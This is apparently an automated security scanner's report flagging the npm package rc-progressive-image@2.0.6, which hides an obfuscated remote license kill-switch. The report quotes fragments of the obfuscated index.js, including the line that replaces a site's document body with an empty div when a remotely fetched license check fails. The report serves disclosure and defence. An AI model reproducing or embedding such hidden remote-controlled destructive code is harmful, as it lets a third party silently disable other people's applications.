registry / Destructive action / rc-progressive-image
rc-progressive-image
rc-progressive-image
This report shows the evidence for rc-progressive-image@2.0.6, the only known version.
AI Security Review
scanned 2mo ago · by lpm-firewall-aiThe package embeds concealed remote license enforcement that can destroy a consumer application's visible DOM at runtime. This is concrete destructive behavior, despite the absence of install hooks or observed secret theft.
Static reason
One or more suspicious static signals were detected.
Trigger
Rendering the ProgressiveImage component with an invalid or revoked license result.
Impact
Denial of service to the consumer web application and remote control over whether it renders.
Mechanism
Remote license enforcement followed by DOM replacement.
Attack narrative
A consumer that directly imports and renders the obfuscated component runs a signed-license check and requests a remote revocation list. If the license is invalid and the application is not on localhost, the component replaces the entire document body with an empty div. This hidden, remotely influenced application-disabling behavior is not part of a progressive-image component and is not disclosed by the package README.
AI rationale
The package embeds concealed remote license enforcement that can destroy a consumer application's visible DOM at runtime. This is concrete destructive behavior, despite the absence of install hooks or observed secret theft.
Evidence
index.jsdocument.bodyIndexedDB verify-cache
Network endpoints1
api.npoint.io/f63d2269d3d045f8cdc3
Decision evidence
public snapshotAI called this Malicious at 94.0% confidence as Malware with low false-positive risk.
Evidence for block
- index.js is heavily obfuscated and contains hidden license-verification code unrelated to progressive image rendering.
- When a license is invalid outside localhost, index.js replaces the document body with a new empty div, breaking the consumer application.
- Component use fetches a remotely controlled revocation list from api.npoint.io and caches the result in IndexedDB.
- The manifest points to a missing lib/index.js entrypoint, while the obfuscated behavior is kept in a separate index.js file.
- On an invalid non-localhost license, the component replaces the document body with a new div.
Evidence against
- package.json has no install or lifecycle scripts.
- No shell execution, dynamic code execution, credential harvesting, or filesystem access was found in the inspected files.
Behavioral surface
Network
HighEntropyStringsMinifiedObfuscatedTrivialUrlStrings
Source & flagged code
2 flagged · loading sourceindex.jsView file
1const _0x4a6e32=_0x3ed0;(function(_0x46b602,_0x3dd5c2){const _0x32d258=_0x3ed0,_0x35290=_0x46b602();while(!![]){try{const _0x46c81c=-parseInt(_0x32d258(0xff))/0x1+parseInt(_0x32d25...
High
Obfuscated Payload Loader
Source contains an obfuscated payload loader that reconstructs and executes hidden code.
index.jsView on unpkg · L11if(_0x112fc4[_0x27620d(0xed)]==='invalid'&&!_0x152f83){const _0x34f6a4=document[_0x27620d(0xe4)](_0x27620d(0xe8));return document[_0x27620d(0x110)][_0x27620d(0x116)](_0x34f6a4,document[_0x27620d(0xe8)]),null;}
High
Ai Review Evidence
On an invalid non-localhost license, the component replaces the document body with a new div.
index.jsView on unpkg · L1Findings
3 High2 Medium3 Low
HighObfuscated Payload Loaderindex.js
HighObfuscated
HighAi Review Evidenceindex.js
MediumNetwork
MediumStructural Risk Force Deep Review
LowHigh Entropy Strings
LowUrl Strings
LowNo License
Affected versions and remediation
This report applies to rc-progressive-image@2.0.6.
The versions list below shows the verdict for each recorded version.
- Avoid installing rc-progressive-image@2.0.6. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.